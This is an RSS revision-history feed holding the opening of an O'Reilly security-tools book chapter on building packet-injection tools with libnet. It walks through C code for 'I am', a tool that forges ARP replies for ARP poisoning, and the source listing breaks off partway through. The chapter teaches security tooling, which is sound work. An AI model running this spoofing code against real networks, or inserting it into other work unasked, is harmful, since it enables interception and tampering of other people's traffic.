<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/css" href="http://commons.oreilly.com/wiki/skins/common/feed.css?97"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title>Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools - Revision history</title>
		<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Packet-Injection_Tools&amp;action=history</link>
		<description>Revision history for this page on the wiki</description>
		<language>en</language>
		<generator>MediaWiki 1.11.0</generator>
		<lastBuildDate>Thu, 20 Jun 2013 09:46:54 GMT</lastBuildDate>
		<item>
			<title>Docbook2Wiki: Initial conversion from Docbook</title>
			<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Packet-Injection_Tools&amp;diff=9253&amp;oldid=prev</link>
			<description>&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;

			&lt;table style=&quot;background-color: white; color:black;&quot;&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;col class='diff-marker' /&gt;
			&lt;col class='diff-content' /&gt;
			&lt;tr&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;←Older revision&lt;/td&gt;
				&lt;td colspan='2' style=&quot;background-color: white; color:black;&quot;&gt;Revision as of 22:54, 11 March 2008&lt;/td&gt;
			&lt;/tr&gt;
		&lt;/table&gt;</description>
			<pubDate>Tue, 11 Mar 2008 22:54:01 GMT</pubDate>			<dc:creator>Docbook2Wiki</dc:creator>			<comments>http://commons.oreilly.com/wiki/index.php/Talk:Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Packet-Injection_Tools</comments>		</item>
		<item>
			<title>Docbook2Wiki: Initial conversion from Docbook</title>
			<link>http://commons.oreilly.com/wiki/index.php?title=Network_Security_Tools/Modifying_and_Hacking_Security_Tools/Writing_Packet-Injection_Tools&amp;diff=8339&amp;oldid=prev</link>
			<description>&lt;p&gt;Initial conversion from Docbook&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Network Security Tools/TOC}}&lt;br /&gt;
One of the most important functions many security tools rely on is the ability to create customized network packets. This could encompass generating general types of network traffic for testing, or creating deliberately malformed traffic, such as traffic with illegal headers or invalid data values.&lt;br /&gt;
&lt;br /&gt;
This chapter introduces customized packet creation using the open source ''libnet'' library, and introduces wireless packet injection using AirJack.&lt;br /&gt;
&lt;br /&gt;
== Introduction to libnet ==&lt;br /&gt;
&lt;br /&gt;
Designed by Mike Schiffman,''libnet'' is a portable, open source, C-language library for creating and injecting network packets. ''libnet'' supports packet creation at all network levels with the TCP/IP network model, as demonstrated in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-FIG-1|Figure 11-1]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-FIG-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 11-1. TCP/IP model and example of supported protocols'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt631.png|TCP/IP model and example of supported protocols]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of ''libnet'' version 1.1.2.1, you can create packets for the following protocols:&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
| 802.1q || FDDI || ICMP || IPSEC || Token Ring || DHCP&lt;br /&gt;
|-&lt;br /&gt;
| 802.1x || ARP || IGMP || DNS || VRRP || BOOTP&lt;br /&gt;
|-&lt;br /&gt;
| 802.2 || TCP || IPv4 || RIP || MPLS || GRE&lt;br /&gt;
|-&lt;br /&gt;
| 802.2 SNAP || UDP || IPv6 || RPC || NTP || BGP&lt;br /&gt;
|-&lt;br /&gt;
| 802.3 || CDP || ISL || STP || OSPF || Sebek&lt;br /&gt;
|-&lt;br /&gt;
| Ethernet ||  ||  ||  ||  || &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In addition, you can create other protocols within ''libnet'' due to its absolute control over packet data content.&lt;br /&gt;
&lt;br /&gt;
=== Installing libnet ===&lt;br /&gt;
&lt;br /&gt;
''libnet'' is distributed in source code form. You can download the source code for the latest version of ''libnet'' from the project home page at ''http://www.packetfactory.net/projects/libnet/''.&lt;br /&gt;
&lt;br /&gt;
On Unix and Unix-like systems, installing ''libnet'' is straightforward:&lt;br /&gt;
&lt;br /&gt;
 tar zxvf libnet.tar.gz&lt;br /&gt;
 cd libnet&lt;br /&gt;
 ./configure&lt;br /&gt;
 make&lt;br /&gt;
 make install (as root)&lt;br /&gt;
&lt;br /&gt;
== Getting Started with libnet ==&lt;br /&gt;
&lt;br /&gt;
When using ''libnet'' it is important to remember that packets are encapsulated at a lower level by yet another type of packet, as illustrated in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-FIG-2|Figure 11-2]]. This is important because ''libnet'' requires that each encapsulating packet is created, in order, from the highest-level protocol to the lowest-level protocol.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-FIG-2&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 11-2. Protocol encapsulation example'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt633.png|Protocol encapsulation example]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Although the ''libnet'' library provides you with granular access to network packet creation at each level of the protocol stack, sometimes you don't need total control over the packet-creation process. ''libnet'' handles such instances in two ways: it creates packets at one of the &amp;lt;tt&amp;gt;LIBNET_RAW&amp;lt;/tt&amp;gt; injection types, and it uses the &amp;lt;tt&amp;gt;libnet_autobuild_*( )&amp;lt;/tt&amp;gt; functions supplied for common protocols.&lt;br /&gt;
&lt;br /&gt;
''libnet'' supports two types of packet injection: injection at the link layer (&amp;lt;tt&amp;gt;LIBNET_LINK&amp;lt;/tt&amp;gt;, etc.), and injection at the Internet layer (&amp;lt;tt&amp;gt;LIBNET_RAW4&amp;lt;/tt&amp;gt;, etc.). The complete list of supported injection types is provided in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-TABLE-1|Table 11-1]]. If you require total control over the link layer network packet, you have little choice but to use a link layer injection type. However, if the tool will be creating packets at the Internet layer (or higher), you can use the Internet layer injection type. This injection type leverages the operating system to actually send the packet, and as such, you don't have to worry about correctly framing the Ethernet packet or looking up Ethernet MAC addresses or similar low-level requirements. In fact, when using the &amp;lt;tt&amp;gt;LIBNET_RAW&amp;lt;/tt&amp;gt; injection types, you do not need to create the link layer packet at all, as this task is performed by the operating system, and the packet is routed on the correct interface for the IP addresses used at the Internet layer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-TABLE-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 11-1. Supported injection types'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Injection type !! Description&lt;br /&gt;
|-&lt;br /&gt;
| LIBNET_LINK || Link layer interface. The developer needs to create packets down to the link layer.&lt;br /&gt;
|-&lt;br /&gt;
| LIBNET_LINK_ADV || Link layer interface in advanced mode. This allows the developer additional control over the packet being created.&lt;br /&gt;
|-&lt;br /&gt;
| LIBNET_RAW4 || Raw sockets interface for IPv4 (normal Internet IP). The developer needs to create packets down to the Internet layer.&lt;br /&gt;
|-&lt;br /&gt;
| LIBNET_RAW4_ADV || Raw sockets interface for IPv4 in advanced mode. This allows the developer additional control over the packet being created.&lt;br /&gt;
|-&lt;br /&gt;
| LIBNET_RAW6 || Raw sockets interface for IPv6 (next-generation IP).&lt;br /&gt;
|-&lt;br /&gt;
| LIBNET_RAW6_ADV || Raw sockets interface for IPv6 in advanced mode. This allows the developer additional control over the packet being created.&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another option is to use the &amp;lt;tt&amp;gt;libnet_autobuild_*( )&amp;lt;/tt&amp;gt; functions provided for common protocols. These allow you to specify only the minimum required parameters for the packet, with the remaining pieces of data going into the packet header being determined by ''libnet''.&lt;br /&gt;
&lt;br /&gt;
=== Writing the I am Tool ===&lt;br /&gt;
&lt;br /&gt;
Now we can create our first tool using ''libnet''. To provide an introduction to ''libnet'', we are going to demonstrate how to write a simple tool for automating a network security attack known as Address Resolution Protocol (ARP) poisoning.&lt;br /&gt;
&lt;br /&gt;
This tool, called ''I am'', sends ARP Reply packets to locally networked hosts claiming to be the host at a certain IP address. This is an integral part of an ARP poisoning attack, in that it can allow an attacker on a local network to redirect traffic through the host, and therefore intercept, modify, or observe traffic flowing on the network.&lt;br /&gt;
&lt;br /&gt;
The ''I am'' tool, like most ''libnet'' tools, has functionality that can be categorized into the following areas:&lt;br /&gt;
&lt;br /&gt;
* Initializing the session&lt;br /&gt;
* Building the protocol blocks&lt;br /&gt;
* Sending the packet&lt;br /&gt;
* Closing down gracefully&lt;br /&gt;
&lt;br /&gt;
=== Initializing the Session ===&lt;br /&gt;
&lt;br /&gt;
''libnet'' enables you to build arbitrary network packets using three main concepts: contexts, protocol blocks, and protocol tags. A ''context'' is an opaque handle used to maintain the session state for building the complete packet. A context is referred to by a variable of type &amp;lt;tt&amp;gt;libnet_t&amp;lt;/tt&amp;gt;. A ''protocol block'' is the ''libnet'' internal data built for each network layer you have created. You refer to these via ''protocol tags'' of type &amp;lt;tt&amp;gt;libnet_ptag_t&amp;lt;/tt&amp;gt;. As when using ''libpcap'', you should never need to know precisely what is in either the ''libnet'' context or the protocol blocks. When the packet is sent, the &amp;lt;tt&amp;gt;libnet_t&amp;lt;/tt&amp;gt; context is provided, ''libnet'' creates the packet from the protocol blocks created, and the packet is sent.&lt;br /&gt;
&lt;br /&gt;
Therefore, the first thing our ''libnet'' tool requires is a ''libnet'' context of type &amp;lt;tt&amp;gt;libnet_t&amp;lt;/tt&amp;gt;. We create a context using the &amp;lt;tt&amp;gt;libnet_init( )&amp;lt;/tt&amp;gt; function, which has the following prototype:&lt;br /&gt;
&lt;br /&gt;
 libnet_t *libnet_init (int injection_type, char *device, char *err_buf)&lt;br /&gt;
&lt;br /&gt;
The example program uses this function to open its session, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-1|Example 11-1]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-1&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-1. Using libnet_init( )'''&lt;br /&gt;
&lt;br /&gt;
 #include &amp;lt;libnet.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 libnet_t *l;            /* libnet context */&lt;br /&gt;
 char errbuf[LIBNET_ERRBUF_SIZE];    /* error messages */&lt;br /&gt;
 &lt;br /&gt;
 /* open handle */&lt;br /&gt;
 l = libnet_init (LIBNET_LINK, device, errbuf);&lt;br /&gt;
 &lt;br /&gt;
 if (l == NULL)&lt;br /&gt;
   {&lt;br /&gt;
     fprintf (stderr, &amp;quot;Error opening context: %s&amp;quot;, errbuf);&lt;br /&gt;
     exit (1);&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Because the ''I am'' tool is creating ARP packets, and because ARP is a link layer protocol, we cannot use one of the &amp;lt;tt&amp;gt;LIBNET_RAW&amp;lt;/tt&amp;gt; injection types for this tool, so we use &amp;lt;tt&amp;gt;LIBNET_LINK&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
To use the ''libnet'' functions we are including the ''libnet'' include file ''libnet.h''. The &amp;lt;tt&amp;gt;LIBNET_ERRBUF_SIZE&amp;lt;/tt&amp;gt; value is defined in ''libnet-macros.h'', which is included in ''libnet.h''. The values of the parameters passed to &amp;lt;tt&amp;gt;libnet_init( )&amp;lt;/tt&amp;gt; are outlined in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-TABLE-2|Table 11-2]]. &amp;lt;tt&amp;gt;libnet_init( )&amp;lt;/tt&amp;gt; returns a ''libnet'' context on success, or &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt; on failure with a human-readable error contained in &amp;lt;tt&amp;gt;errbuf&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-TABLE-2&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 11-2. libnet_init( ) parameters'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Parameter !! Description&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 injection_type&lt;br /&gt;
| The injection type is one of the following, as defined in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-TABLE-1|Table 11-1]]:LIBNET_LINKLIBNET_LINK_ADVLIBNET_RAW4LIBNET_RAW4_ADVLIBNET_RAW6LIBNET_RAW6_ADVThese define whether the packet creation is at the Internet layer for the IPv4 &amp;lt;tt&amp;gt;LIBNET_RAW4&amp;lt;/tt&amp;gt; and IPv6 &amp;lt;tt&amp;gt;LIBNET_RAW6&amp;lt;/tt&amp;gt; injection types, or at the link layer for the &amp;lt;tt&amp;gt;LIBNET_LINK&amp;lt;/tt&amp;gt; injection type. Using packet injection at the link layer gives us granular control over lower levels in the protocol stack, such as for manipulating ARP or Ethernet packets. The network layer functions allow us to ignore the lower-level protocols if granularity over them is not required, such as when working with IP and UDP or TCP traffic. The functions ending in &amp;lt;tt&amp;gt;_ADV&amp;lt;/tt&amp;gt; are advanced variations on each injection type, providing additional control over packets.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 device&lt;br /&gt;
| &amp;lt;tt&amp;gt;device&amp;lt;/tt&amp;gt; is a string containing either a device name (such as &amp;lt;tt&amp;gt;eth0&amp;lt;/tt&amp;gt; for Linux), or the IP address for the device. This can be &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt;, in which case ''libnet'' attempts to locate an appropriate interface.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 err_buf&lt;br /&gt;
| The error buffer is populated with a human-readable error message in the event an error occurs.&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Building the Protocol Blocks ===&lt;br /&gt;
&lt;br /&gt;
Once we have created a ''libnet'' context, we can start building the protocol blocks to be sent. Remember that we must create the protocol blocks in order, from the highest-level protocol to the lowest-level protocol we are required to build. Because we are using the &amp;lt;tt&amp;gt;LIBNET_LINK&amp;lt;/tt&amp;gt; injection type, we are required to create the link layer packet as well as any higher-level packets. Therefore, we need to start by creating the ARP packet header, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-2|Example 11-2]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-2&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-2. Creating the ARP header'''&lt;br /&gt;
&lt;br /&gt;
 in_addr_t ipaddr;                     /* source ip address */&lt;br /&gt;
 in_addr_t destaddr;                   /* destination ip address */&lt;br /&gt;
 u_int8_t *macaddr;                    /* destination mac address */&lt;br /&gt;
 struct libnet_ether_addr *hwaddr;     /* source MAC address */&lt;br /&gt;
 libnet_ptag_t arp = 0;                /* ARP protocol tag */&lt;br /&gt;
 &lt;br /&gt;
 /* get the hardware address for the card we are using */&lt;br /&gt;
 hwaddr = libnet_get_hwaddr (l);&lt;br /&gt;
 &lt;br /&gt;
 /* build the ARP header */&lt;br /&gt;
 arp = libnet_autobuild_arp (ARPOP_REPLY,              /* operation */&lt;br /&gt;
                           (u_int8_t *) hwaddr,        /* source hardware addr */&lt;br /&gt;
                           (u_int8_t *) &amp;amp;ipaddr,       /* source protocol addr */&lt;br /&gt;
                           macaddr,                    /* target hardware addr */&lt;br /&gt;
                           (u_int8_t *) &amp;amp;destaddr,     /* target protocol addr */&lt;br /&gt;
                           l);                         /* libnet context */&lt;br /&gt;
 &lt;br /&gt;
 if (arp == -1)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr,&lt;br /&gt;
            &amp;quot;Unable to build ARP header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-2|Example 11-2]] uses the &amp;lt;tt&amp;gt;libnet_autobuild_arp()&amp;lt;/tt&amp;gt; function, which has the following prototype:&lt;br /&gt;
&lt;br /&gt;
 libnet_ptag_t libnet_autobuild_arp (u_int16_t op, u_int8_t *sha, u_int8_t *spa,&lt;br /&gt;
              u_int8_t *tha, u_int8_t *tpa, libnet_t *l)&lt;br /&gt;
&lt;br /&gt;
The build and autobuild functions ''libnet'' provides have similar parameters. The autobuild (&amp;lt;tt&amp;gt;libnet_autobuild_*( )&amp;lt;/tt&amp;gt;) functions build a packet with the minimum required user input. ''libnet'' automatically fills in the appropriate default values. The build functions (&amp;lt;tt&amp;gt;libnet_build_*()&amp;lt;/tt&amp;gt;) require that you specify the values for all the headers and options a packet can take; however, these functions also edit an existing protocol block if necessary. As we are creating a new protocol block for the ARP packet, and we do not need to specify all details for the packet, we can use the &amp;lt;tt&amp;gt;libnet_autobuild_arp()&amp;lt;/tt&amp;gt; function, providing the source and destination hardware and protocol addresses for the packet. As for all the build and autobuild functions, this function returns a protocol tag value of type &amp;lt;tt&amp;gt;libnet_ptag_t&amp;lt;/tt&amp;gt;. This value is set to &amp;lt;tt&amp;gt;-1&amp;lt;/tt&amp;gt; if an error occurred, in which case you can use the &amp;lt;tt&amp;gt;libnet_geterror()&amp;lt;/tt&amp;gt; function to determine what went wrong via a human-readable error message.&lt;br /&gt;
&lt;br /&gt;
All build and autobuild functions require the ''libnet'' context to be passed as a parameter, but the &amp;lt;tt&amp;gt;libnet_build_*( )&amp;lt;/tt&amp;gt; functions require you to pass a protocol tag to the function. This is &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; if a new protocol block is to be created, and it is a &amp;lt;tt&amp;gt;libnet_ptag_t&amp;lt;/tt&amp;gt; value if an existing packet is to be modified. This is demonstrated in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-3|Example 11-3]], where we supply the last parameter (the protocol tag parameter) as &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Once we have built the higher-level ARP packet header, we can build the Ethernet packet header, also shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-3|Example 11-3]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-3&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-3. Creating the Ethernet header'''&lt;br /&gt;
&lt;br /&gt;
 libet_ptag_t eth = 0;                 /* Ethernet protocol tag */&lt;br /&gt;
 &lt;br /&gt;
 /* build the ethernet header */&lt;br /&gt;
 eth = libnet_build_ethernet (macaddr,            /* destination address */&lt;br /&gt;
                            (u_int8_t *) hwaddr,  /* source address */&lt;br /&gt;
                            ETHERTYPE_ARP,        /* type of encasulated packet */&lt;br /&gt;
                            NULL,                 /* pointer to payload */&lt;br /&gt;
                            0,                    /* size of payload */&lt;br /&gt;
                            l,                    /* libnet context */&lt;br /&gt;
                            0);                   /* libnet protocol tag */&lt;br /&gt;
 &lt;br /&gt;
 if (eth == -1)&lt;br /&gt;
   {&lt;br /&gt;
     fprintf (stderr,&lt;br /&gt;
       &amp;quot;Unable to build Ethernet header: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
     exit (1);&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As before, the build function returns &amp;lt;tt&amp;gt;-1&amp;lt;/tt&amp;gt; on error, and you can determine the reason for the error using &amp;lt;tt&amp;gt;libnet_geterror()&amp;lt;/tt&amp;gt; . For demonstration purposes [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-3|Example 11-3]] uses the &amp;lt;tt&amp;gt;libnet_build_ethernet()&amp;lt;/tt&amp;gt; function instead of the &amp;lt;tt&amp;gt;libnet_autobuild_ethernet()&amp;lt;/tt&amp;gt; function (see [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-4|Example 11-4]]).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-4&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-4. libnet_autobuild_ethernet( )versus libnet_build_ethernet( )'''&lt;br /&gt;
&lt;br /&gt;
 libnet_ptag_t libnet_autobuild_ethernet (u_int8_t *dst, u_int16_t type,&lt;br /&gt;
            libnet_t *l)&lt;br /&gt;
 &lt;br /&gt;
 libnet_ptag_t libnet_build_ethernet (u_int8_t *dst, u_int8_t *src,u_int16_t type,&lt;br /&gt;
       u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;libnet_build_ethernet( )&amp;lt;/tt&amp;gt; function allows you to perform such tasks as spoofing the source Ethernet MAC address and editing the existing protocol block. This is an example of the granular control you can have with the ''libnet'' library.&lt;br /&gt;
&lt;br /&gt;
=== Sending the Packet ===&lt;br /&gt;
&lt;br /&gt;
Once we have assembled our protocol blocks, in order from highest-level protocol to lowest-level protocol, we can write this packet to the network. We do this using &amp;lt;tt&amp;gt;libnet_write( )&amp;lt;/tt&amp;gt;, as shown in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-5|Example 11-5]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-5&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-5. Writing the packet'''&lt;br /&gt;
&lt;br /&gt;
 /* write the packet */&lt;br /&gt;
 if ((libnet_write (l)) == -1)&lt;br /&gt;
   {&lt;br /&gt;
     fprintf (stderr, &amp;quot;Unable to send packet: %s\n&amp;quot;, libnet_geterror (l));&lt;br /&gt;
     exit (1);&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;libnet_write( )&amp;lt;/tt&amp;gt; function causes ''libnet'' to assemble the packet from the protocol blocks. Then this is sent on the network, either to the IP address supplied for an injection at the &amp;lt;tt&amp;gt;LIBNET_RAW&amp;lt;/tt&amp;gt; level, or to the network hardware address if the injection is at the &amp;lt;tt&amp;gt;LIBNET_LINK&amp;lt;/tt&amp;gt; layer.&lt;br /&gt;
&lt;br /&gt;
=== Cleaning Up ===&lt;br /&gt;
&lt;br /&gt;
Once we have sent our packet, we should free the memory associated with the functions the ''libnet'' library has allocated. We do this using the &amp;lt;tt&amp;gt;libnet_destroy()&amp;lt;/tt&amp;gt; function, supplied with a ''libnet'' context as a parameter, as shown in here:&lt;br /&gt;
&lt;br /&gt;
 /* exit cleanly */&lt;br /&gt;
 libnet_destroy (l);&lt;br /&gt;
 return 0;&lt;br /&gt;
&lt;br /&gt;
=== The I am Tool Source Code ===&lt;br /&gt;
&lt;br /&gt;
[[Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools#networkst-CHP-11-EX-6|Example 11-6]] shows the full source code to the ''I am'' tool. It should compile on most Linux distributions as follows:&lt;br /&gt;
&lt;br /&gt;
 gcc -o iam iam.c -ln&lt;br /&gt;
&lt;br /&gt;
If that does not work, ''libnet'' provides a tool called ''libnet-config'' that contains definitions and library references that might be required for your ''libnet'' installation. You can use this with back quotes as follows:&lt;br /&gt;
&lt;br /&gt;
 gcc -o iam iam.c `libnet-config -defines` \&lt;br /&gt;
          `libnet-config -libs` `libnet-config -cflags`&lt;br /&gt;
&lt;br /&gt;
This tool was written on Gentoo Linux. It should work on most Linux installations; however, some tweaking might be necessary to get this working on other Unix and Unix-like environments.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-11-EX-6&amp;quot;&amp;gt;&lt;br /&gt;
'''Example 11-6. Source code to the I am tool'''&lt;br /&gt;
&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;libnet.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 /* usage */&lt;br /&gt;
 void&lt;br /&gt;
 usage (char *name)&lt;br /&gt;
 {&lt;br /&gt;
   printf (&amp;quot;%s - Send arbitrary ARP replies\n&amp;quot;, name);&lt;br /&gt;
   printf (&amp;quot;Usage: %s [-i interface] -s ip_address -t dest_ip\n&amp;quot;, name);&lt;br /&gt;
   printf (&amp;quot;    -i    interface to send on\n&amp;quot;);&lt;br /&gt;
   printf (&amp;quot;    -s    IP address we are claiming to be\n&amp;quot;);&lt;br /&gt;
   printf (&amp;quot;    -t    IP address of recipient\n&amp;quot;);&lt;br /&gt;
   printf (&amp;quot;    -m    Ethernet MAC address of recipient\n&amp;quot;);&lt;br /&gt;
   exit (1);&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int&lt;br /&gt;
 main (int argc, char *argv[])&lt;br /&gt;
 {&lt;br /&gt;
   char *device = NULL;        /* network device */&lt;br /&gt;
   char o;            /* for option processing */&lt;br /&gt;
   in_addr_t ipaddr;        /* claimed ip address */&lt;br /&gt;
   in_addr_t destaddr;        /* destination ip address */&lt;br /&gt;
   u_int8_t *macaddr;        /* destination mac address */&lt;br /&gt;
   libnet_t *l;            /* libnet context */&lt;br /&gt;
   libnet_ptag_t arp = 0, eth = 0;    /* libnet protocol blocks */&lt;br /&gt;
   struct libnet_ether_addr *hwaddr;    /* ethernet MAC address */&lt;br /&gt;
   char errbuf[LIBNET_ERRBUF_SIZE];    /* error messages */&lt;br /&gt;
   int r;            /* generic return value */&lt;br /&gt;
 &lt;br /&gt;
   if (argc &amp;lt; 3)&lt;br /&gt;
     usage (argv[0]);&lt;br /&gt;
 &lt;br /&gt;
   while ((o = getopt (argc, argv, &amp;quot;i:t:s:m:&amp;quot;)) &amp;gt; 0)&lt;br /&gt;
     {&lt;br /&gt;
       switch (o)&lt;br /&gt;
     {&lt;br /&gt;
     case 'i':&lt;br /&gt;
       device = optarg;&lt;br /&gt;
       break;&lt;br /&gt;
     case 's':&lt;br /&gt;
       if ((ipaddr = inet_addr (optarg)) == -1)&lt;br /&gt;
         {&lt;br /&gt;
           fprintf (stderr, &amp;quot;Invalid claimed IP address\n&amp;quot;);&lt;br /&gt;
           usage (argv[0]);&lt;br /&gt;
         }&lt;br /&gt;
       break;&lt;br /&gt;
     case 't':&lt;br /&gt;
       if ((destaddr = inet_addr (optarg)) == -1)&lt;br /&gt;
         {&lt;br /&gt;
           fprintf (stderr, &amp;quot;Invalid destination IP address\n&amp;quot;);&lt;br /&gt;
           usage (argv[0]);&lt;br /&gt;
         }&lt;br /&gt;
       break;&lt;br /&gt;
     case 'm':&lt;br /&gt;
       if ((macaddr = libnet_hex_aton (optarg, &amp;amp;r)) == NULL)&lt;br /&gt;
         {&lt;br /&gt;
           fprintf (stderr, &amp;quot;Error on MAC address\n&amp;quot;);&lt;br /&gt;
           usage (argv[0]);&lt;br /&gt;
         }&lt;br /&gt;
       break;&lt;br /&gt;
     default:&lt;br /&gt;
       usage (argv[0]);&lt;br /&gt;
       break;&lt;br /&gt;
     }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* open context */&lt;br /&gt;
   l = libnet_init (LIBNET_LINK, device, errbuf);&lt;br /&gt;
   if (l == NULL)&lt;br /&gt;
     {&lt;br /&gt;
       fprintf (stderr, &amp;quot;Error opening context: %s&amp;quot;, errbuf);&lt;br /&gt;
       exit (1);&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
   /* get the hardware address for the card we are using */&lt;br /&gt;
   hwaddr = libnet_get_hwaddr (l);&lt;br /&gt;
   /* build the ARP header */&lt;br /&gt;
   arp = libnet_autobuild_arp (ARPOP_REPLY,                /* operation */&lt;br /&gt;
                             (u_int8_t *) hwaddr,        /* source hardware addr */&lt;br /&gt;
                             (u_int8_t *) &amp;amp;ipaddr,       /* source protocol addr */&lt;br /&gt;
                             macaddr,                    /* target hardware addr */&lt;br /&gt;
                             (u_int8_t *) &amp;amp;destaddr,     /* target protocol addr */&lt;br /&gt;
                             l);                         /* libnet context */&lt;br /&gt;
 &lt;br /&gt;
